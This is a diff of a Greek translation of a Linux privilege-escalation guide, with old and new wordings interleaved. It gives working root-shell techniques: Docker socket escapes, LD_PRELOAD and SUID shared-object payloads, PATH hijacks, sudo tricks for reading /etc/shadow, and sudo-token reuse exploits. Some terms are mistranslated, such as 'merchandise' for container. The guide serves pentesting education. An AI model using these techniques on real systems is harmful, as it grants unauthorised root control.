#### **Ανάβαση Προνομίων με το Docker CLI**
#### **Ανάδειξη Προνομίων με το Docker CLI**
Εάν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να αναβαθμίσετε τα προνόμιά σας χρησιμοποιώντας τις παρακάτω εντολές:
Εάν έχετε πρόσβαση εγγραφής στο Docker socket, μπορείτε να αναβαθμίσετε τα προνόμια χρησιμοποιώντας τις ακόλουθες εντολές:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### **Χρήση του Docker API Απευθείας**
Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί να χειριστεί ακόμα χρησιμοποιώντας το Docker API και εντολές `curl`.
Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί χρησιμοποιώντας το Docker API και εντολές `curl`.
1. **Λίστα Εικόνων Docker:** Ανάκτηση της λίστας των διαθέσιμων εικόνων.
@ -537,13 +538,13 @@ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
Εκκίνηση του νεοδημιουργημένου εμπορέα:
Εκκίνηση του νεοδημιουργημένου εμπορεύματος:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Σύνδεση στο Εμπορεύμα:** Χρησιμοποιήστε το `socat` για να καθιερώσετε μια σύνδεση με το εμπορεύμα, επιτρέποντας την εκτέλεση εντολών μέσα σε αυτό.
3. **Σύνδεση στο Εμπόρευμα:** Χρησιμοποιήστε το `socat` για να καθιερώσετε μια σύνδεση με το εμπόρευμα, ενεργοποιώντας την εκτέλεση εντολών μέσα σε αυτό.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -553,11 +554,11 @@ Connection: Upgrade
Upgrade: tcp
```
Μετά την ρύθμιση της σύνδεσης `socat`, μπορείτε να εκτελέσετε εντολές απευθείας στο εμπορεύμα με πρόσβαση σε root επίπεδο στο αρχείο συστήματος του φιλοξενητή.
Μετά την ρύθμιση της σύνδεσης `socat`, μπορείτε να εκτελέσετε εντολές απευθείας στο εμπόρευμα με πρόσβαση σε root επίπεδο στο αρχείο συστήματος του φιλοξενητή.
### Άλλα
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο socket του docker επειδή βρίσκεστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους ανάδειξης δικαιωμάτων**](interesting-groups-linux-pe/#docker-group). Αν το [**API του docker ακούει σε ένα θύρα** μπορείτε επίσης να τον απειλήσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο socket του docker επειδή βρίσκεστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους ανάδειξης δικαιωμάτων**](interesting-groups-linux-pe/#docker-group). Αν η [**διεπαφή του docker ακούει σε ένα θύρα** μπορείτε επίσης να την εκμεταλλευτείτε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Ελέγξτε **περισσότερους τρόπους να διαφύγετε από το docker ή να το καταχραστείτε για ανάδειξη δικαιωμάτων** σε:
@ -567,7 +568,7 @@ Upgrade: tcp
## Ανάδειξη Δικαιωμάτων Containerd (ctr)
Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`**, διαβάστε την παρακάτω σελίδα καθώς **μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων**:
Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`** διαβάστε την παρακάτω σελίδα καθώς **μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων**:
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
@ -575,7 +576,7 @@ Upgrade: tcp
## Ανάδειξη Δικαιωμάτων **RunC**
Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`**, διαβάστε την παρακάτω σελίδα καθώς **μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων**:
Αν βρείτε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`** διαβάστε την παρακάτω σελίδα καθώς **μπορείτε να την καταχραστείτε για ανάδειξη δικαιωμάτων**:
{% content-ref url="runc-privilege-escalation.md" %}
[runc-privilege-escalation.md](runc-privilege-escalation.md)
@ -583,13 +584,13 @@ Upgrade: tcp
## **D-Bus**
Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Διεργασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με το μοντέρνο σύστημα Linux στο μυαλό, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Διεργασιών (IPC)** που επιτρέπει σε εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με το μοντέρνο σύστημα Linux στο μυαλό, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασική IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, θυμίζοντας τις βελτιωμένες UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση συμβάντων ή σημάτων, προωθώντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από ένα δαίμονα Bluetooth για μια εισερχόμενη κλήση μπορεί να προκαλέσει τον σίγαση του μουσικού παίκτη, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα απομακρυσμένο σύστημα αντικειμένων, απλοποιώντας τις αιτήσεις υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας τις διαδικασίες που ήταν παραδοσιακά πολύπλοκες.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασική IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, θυμίζοντας τις βελτιωμένες UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση συμβάντων ή σημάτων, προωθώντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από ένα δαίμονα Bluetooth για μια εισερχόμενη κλήση μπορεί να προκαλέσει τον σίγαση του αναπαραγωγέα μουσικής, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα απομακρυσμένο σύστημα αντικειμένων, απλοποιώντας τις αιτήσεις υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας τις διαδικασίες που ήταν παραδοσιακά πολύπλοκες.
Το D-Bus λειτουργεί με βάση ένα μοντέλο **επιτροπής/απαγόρευσης**, διαχειρίζοντας τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κλπ) με βάση το συνολικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, ενδεχομένως επιτρέποντας την ανάδειξη δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
Το D-Bus λειτουργεί με βάση ένα μοντέλο **επιτροπής/απαγόρευσης**, διαχειρίζοντας τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κλπ) με βάση το συνολικό αποτέλεσμα των αντιστοιχιών των κανόνων πολιτικής. Αυτοί οι κανόνες καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, ενδεχομένως επιτρέποντας την ανάδειξη δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
Παρέχεται ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τις άδειες για το ριζικό χρήστη να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`.
Παρέχεται ένα παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τις άδειες για το ριζικό χρήστη να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`.
Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές πλαισίου "προεπιλογή" ισχύουν για όλους όσοι δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.
```xml
@ -635,7 +636,7 @@ lsof -i
```
### Ανοιχτές θύρες
Πάντα ελέγχετε τις δικτυακές υπηρεσίες που εκτελούνται στον υπολογιστή και με τις οποίες δεν ήταν δυνατή η αλληλεπίδραση πριν την πρόσβαση:
Πάντα ελέγχετε τις δικτυακές υπηρεσίες που εκτελούνται στο μηχάνημα και με τις οποίες δεν ήταν δυνατή η αλληλεπίδραση πριν την πρόσβαση σε αυτό:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -650,7 +651,7 @@ timeout 1 tcpdump
### Γενική Απαρίθμηση
Ελέγξτε **ποιος** είστε, ποια **προνόμια** έχετε, ποιοι **χρήστες** υπάρχουν στο σύστημα, ποιοι μπορούν να **συνδεθούν** και ποιοι έχουν **δικαιώματα root:**
Ελέγξτε **ποιος** είστε, ποια **προνόμια** έχετε, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **συνδεθούν** και ποιοι έχουν **δικαιώματα root:**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -698,28 +699,28 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
```
### Πολιτική Κωδικών πρόσβασης
### Πολιτική Κωδικού Πρόσβασης
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
### Εκνομές κωδικοί
### Γνωστοί κωδικοί πρόσβασης
Αν **γνωρίζετε κάποιον κωδικό** του περιβάλλοντος, **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
Αν **γνωρίζετε κάποιον κωδικό πρόσβασης** του περιβάλλοντος, **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
### Su Brute
Αν δεν σας πειράζει να προκαλέσετε πολύ θόρυβο και οι δυνατότητες `su` και `timeout` υπάρχουν στον υπολογιστή, μπορείτε να δοκιμάσετε να εκτελέσετε βίαια τον χρήστη χρησιμοποιώντας το [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Αν δεν σας πειράζει να κάνετε πολύ θόρυβο και οι δυαδικοί `su` και `timeout` υπάρχουν στον υπολογιστή, μπορείτε να δοκιμάσετε να εκτελέσετε βίαια τον χρήστη χρησιμοποιώντας το [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Το [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` επίσης δοκιμάζει να εκτελέσει βίαια τους χρήστες.
## Κατάχρηση εγγράψιμων PATH
### $PATH
Αν ανακαλύψετε ότι μπορείτε **να γράψετε μέσα σε κάποιο φάκελο του $PATH**, ενδέχεται να μπορείτε να αναβαθμίσετε τα δικαιώματά σας με τον τρόπο **δημιουργίας μιας πίσω πόρτας μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που θα εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από έναν φάκελο που βρίσκεται προηγούμενος** στον εγγράψιμο φάκελο στο $PATH σας.
Αν ανακαλύψετε ότι μπορείτε **να γράψετε μέσα σε κάποιο φάκελο του $PATH**, ενδέχεται να μπορείτε να αναβαθμίσετε τα δικαιώματά σας με το **δημιουργία ενός πίσω πόρτας μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που θα εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από έναν φάκελο που βρίσκεται προηγούμενος** στον εγγράψιμο φάκελο στο $PATH σας.
### SUDO και SUID
Μπορείτε να επιτραπείτε να εκτελέσετε κάποια εντολή χρησιμοποιώντας το sudo ή ενδέχεται να έχουν το bit suid. Ελέγξτε το χρησιμοποιώντας:
Μπορείτε να επιτραπείτε να εκτελέσετε κάποια εντολή χρησιμοποιώντας το sudo ή ενδέχεται να έχει το bit suid. Ελέγξτε το χρησιμοποιώντας:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -759,7 +760,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Παράκαμψη εκτέλεσης Sudo μέσω διαδρομών
**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
**Μετάβαση** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -769,44 +770,44 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
Εάν χρησιμοποιείται ένα **wildcard** (\*), τότε είναι ακόμα πιο εύκολο:
Εάν χρησιμοποιηθεί ένα **wildcard** (\*), τότε είναι ακόμα πιο εύκολο:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**Αντιμέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
**Αντιμέτωπα μέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Εντολή Sudo/SUID δυαδικό χωρίς διαδρομή εντολής
Αν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
Εάν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα **suid** δυαδικό αρχείο εκτελεί ένα άλλο πρόγραμμα χωρίς να καθορίζει τη διαδρομή για αυτό (ελέγξτε πάντα με την εντολή **strings** το περιεχόμενο ενός παράξενου SUID δυαδικού).
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα **suid** δυαδικό αρχείο **εκτελεί ένα άλλο πρόγραμμα χωρίς να καθορίζει τη διαδρομή γι' αυτό (ελέγξτε πάντα με την εντολή** _**strings**_ **το περιεχόμενο ενός παράξενου SUID δυαδικού αρχείου)**.
[Παραδείγματα φορτίου για εκτέλεση.](payloads-to-execute.md)
### SUID δυαδικό με διαδρομή εντολής
### SUID δυαδικό αρχείο με διαδρομή εντολής
Εάν το **suid** δυαδικό αρχείο εκτελεί ένα άλλο πρόγραμμα καθορίζοντας τη διαδρομή, τότε μπορείτε να δοκιμάσετε να **εξάγετε μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid.
Εάν το **suid** δυαδικό αρχείο **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να δοκιμάσετε να **εξάγετε μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid.
Για παράδειγμα, εάν ένα suid δυαδικό αρχείο καλεί το _**/usr/sbin/service apache2 start**_ πρέπει να δοκιμάσετε να δημιουργήσετε τη συνάρτηση και να την εξάγετε:
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να δοκιμάσετε να δημιουργήσετε τη συνάρτηση και να την εξάγετε:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
Η μεταβλητή περιβάλλοντος **LD\_PRELOAD** χρησιμοποιείται για να καθορίσει έναν ή περισσότερους κοινόχρηστους κώδικες (.so αρχεία) που θα φορτωθούν από τον φορτωτή πριν από όλους τους άλλους, συμπεριλαμβανομένης της τυπικής βιβλιοθήκης C (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προ-φόρτωση βιβλιοθήκης.
Η μεταβλητή περιβάλλοντος **LD\_PRELOAD** χρησιμοποιείται για να καθορίσετε έναν ή περισσότερους κοινόχρηστους καταλόγους (.so αρχεία) που θα φορτωθούν από τον φορτωτή πριν από όλους τους άλλους, συμπεριλαμβανομένης της τυπικής βιβλιοθήκης C (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προ-φόρτωση βιβλιοθήκης.
Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της λειτουργίας, ιδιαίτερα με εκτελέσιμα **suid/sgid**, το σύστημα επιβάλλει ορισμένες συνθήκες:
- Ο φορτωτής αγνοεί το **LD\_PRELOAD** για εκτελέσιμα όπου ο πραγματικός αναγνωριστικός χρήστης (_ruid_) δεν ταιριάζει με το αποτέλεσμα του αποτελεσματικού αναγνωριστικού χρήστη (_euid_).
- Για εκτελέσιμα με suid/sgid, φορτώνονται μόνο βιβλιοθήκες σε τυπικά μονοπάτια που είναι επίσης suid/sgid.
- Για εκτελέσιμα με suid/sgid, φορτώνονται μόνο βιβλιοθήκες σε τυπικούς καταλόγους που είναι επίσης suid/sgid.
Η εξέλιξη προνομιακών δικαιωμάτων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελέσετε εντολές με `sudo` και η έξοδος της `sudo -l` περιλαμβάνει τη δήλωση **env\_keep+=LD\_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD\_PRELOAD** να διατηρείται και να αναγνωρίζεται ακόμα και όταν οι εντολές εκτελούνται με `sudo`, πιθανώς οδηγώντας στην εκτέλεση κώδικα με υψηλά προνομιακά δικαιώματα.
Η εξέλιξη προνομιακών δικαιωμάτων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελέσετε εντολές με `sudo` και το αποτέλεσμα της `sudo -l` περιλαμβάνει την δήλωση **env\_keep+=LD\_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD\_PRELOAD** να διατηρείται και να αναγνωρίζεται ακόμα και όταν οι εντολές εκτελούνται με `sudo`, πιθανώς οδηγώντας στην εκτέλεση κώδικα αυθαίρετων με προνομιακά δικαιώματα.
```
Defaults env_keep += LD_PRELOAD
```
@ -828,12 +829,12 @@ system("/bin/bash");
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Τέλος, **αναβαθμίστε τα προνόμια** εκτελώντας
Τελικά, **αναβαθμίστε τα προνόμια** εκτελώντας
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
{% hint style="danger" %}
Μια παρόμοια ανόρθωση προνομίων μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD\_LIBRARY\_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
Μια παρόμοια ανύψωση προνομίων μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD\_LIBRARY\_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
{% endhint %}
```c
#include <stdio.h>
@ -854,13 +855,13 @@ cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID Binary Εισαγωγή .so
### SUID Binary .so εισαγωγή
Όταν αντιμετωπίζετε ένα δυαδικό αρχείο με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύσετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την παρακάτω εντολή:
Όταν αντιμετωπίζετε ένα δυαδικό αρχείο με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να ελέγξετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την παρακάτω εντολή:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει ένα δυνητικό σημείο εκμετάλλευσης.
Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει ένα δυνητικό πεδίο εκμετάλλευσης.
Για να εκμεταλλευτεί κάποιος αυτό, θα πρέπει να συνεχίσει δημιουργώντας ένα αρχείο C, λέγοντάς το _"/path/to/.config/libcalc.c"_, περιέχοντας τον παρακάτω κώδικα:
```c
@ -873,15 +874,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Αυτός ο κώδικας, αφού μεταγλωττιστεί και εκτελεστεί, στοχεύει στην αύξηση προνομίων με τον χειρισμό δικαιωμάτων αρχείων και την εκτέλεση ενός κελύφους με αυξημένα προνόμια.
Αυτός ο κώδικας, αφού μεταγλωττιστεί και εκτελεστεί, στοχεύει στην αύξηση προνομίων με τον χειρισμό των δικαιωμάτων αρχείων και την εκτέλεση ενός κελύφους με αυξημένα προνόμια.
Μεταγλωττίστε το παραπάνω αρχείο C σε ένα αρχείο κοινόχρηστου αντικειμένου (.so) με:
Μεταγλωττίστε τον παραπάνω αρχείο C σε ένα αρχείο κοινόχρηστου αντικειμένου (.so) με:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Τέλος, η εκτέλεση του επηρεασμένου δυαδικού SUID θα πρέπει να ενεργοποιήσει την εκμετάλλευση, επιτρέποντας την πιθανή κατάληψη του συστήματος.
## Κοινόχρηστη Εκμετάλλευση Αντικειμένου
## Κοινόχρηστη Αντικειμενική Απαγωγή
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
@ -908,13 +907,13 @@ system("/bin/bash -p");
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
Αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να περιέχει μια συνάρτηση που ονομάζεται `a_function_name`.
Αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να έχει μια συνάρτηση που ονομάζεται `a_function_name`.
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) είναι μια συλλογή Unix δυαδικών που μπορούν να εκμεταλλευτούν από έναν εισβολέα για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε ορίσματα** σε ένα εντολή.
Το έργο συλλέγει νόμιμες λειτουργίες των Unix δυαδικών που μπορούν να καταχραστούν για να διαφύγουν από περιορισμένα κελιά, να αναβαθμίσουν ή να διατηρήσουν υψηλά προνόμια, να μεταφέρουν αρχεία, να εκκινήσουν bind και αντίστροφα κελιά, και να διευκολύνουν τις άλλες εργασίες μετά την εκμετάλλευση.
Το έργο συλλέγει νόμιμες λειτουργίες των Unix δυαδικών που μπορούν να καταχραστούν για να διαφύγουν από περιορισμένα κελιά, να αναβαθμίσουν ή να διατηρήσουν υψηλά προνομιακά δικαιώματα, να μεταφέρουν αρχεία, να εκκινήσουν bind και αντίστροφα κελιά, και να διευκολύνουν τις άλλες εργασίες μετά την εκμετάλλευση.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -931,26 +930,26 @@ system("/bin/bash -p");
### Επαναχρησιμοποίηση Διακριτικών Sudo
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να αναβαθμίσετε τα προνόμια σας με το **να περιμένετε για την εκτέλεση μιας εντολής sudo και στη συνέχεια να αρπάξετε το διακριτικό συνεδρίας**.
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό, μπορείτε να αναβαθμίσετε προνομιακά δικαιώματα με **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αρπάζοντας το διακριτικό συνεδρίας**.
Απαιτήσεις για την ανάκτηση προνομίων:
Απαιτήσεις για την ανάκτηση προνομιακών δικαιωμάτων:
* Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_"
* Ο χρήστης "_sampleuser_" έχει **χρησιμοποιήσει το `sudo`** για να εκτελέσει κάτι τις **τελευταίες 15 λεπτά** (από προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε το `sudo` χωρίς να εισάγουμε κωδικό πρόσβασης)
* Ο χρήστης "_sampleuser_" έχει **χρησιμοποιήσει το `sudo`** για να εκτελέσει κάτι τις **τελευταίες 15 λεπτά** (από προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε το `sudo` χωρίς να εισάγουμε κωδικό)
* `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
* Το `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας το `/etc/sysctl.d/10-ptrace.conf` και ορίζοντας `kernel.yama.ptrace_scope = 0`)
Αν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να αναβαθμίσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
Αν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να αναβαθμίσετε προνομιακά δικαιώματα χρησιμοποιώντας:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
* Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για **να ενεργοποιήσετε το διακριτικό sudo στη συνεδρία σας** (δεν θα λάβετε αυτόματα ένα κελί ρίζας, κάντε `sudo su`):
* Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για **ενεργοποίηση του διακριτικού sudo στη συνεδρία σας** (δεν θα λάβετε αυτόματα ένα root shell, κάντε `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
* Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **υπό την ιδιοκτησία του root με setuid**
* Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα κέλυφος sh στο _/tmp_ **υπό την ιδιοκτησία του χρήστη root με το setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -962,7 +961,7 @@ sudo su
```
### /var/run/sudo/ts/\<ΌνομαΧρήστη>
Εάν έχετε **δικαιώματα εγγραφής** στον φάκελο ή σε οποιοδήποτε από τα δημιουργημένα αρχεία μέσα στον φάκελο, μπορείτε να χρησιμοποιήσετε το δυαδικό [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) για να **δημιουργήσετε ένα sudo token για έναν χρήστη και ένα PID**.\
Εάν έχετε **δικαιώματα εγγραφής** στον φάκελο ή σε οποιοδήποτε από τα δημιουργημένα αρχεία μέσα στον φάκελο, μπορείτε να χρησιμοποιήσετε το δυαδικό [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) για **δημιουργία ενός sudo token για έναν χρήστη και ένα PID**.\
Για παράδειγμα, αν μπορείτε να αντικαταστήσετε το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα κέλυφος ως αυτόν τον χρήστη με PID 1234, μπορείτε **να αποκτήσετε δικαιώματα sudo** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης κάνοντας:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -970,17 +969,17 @@ sudo su
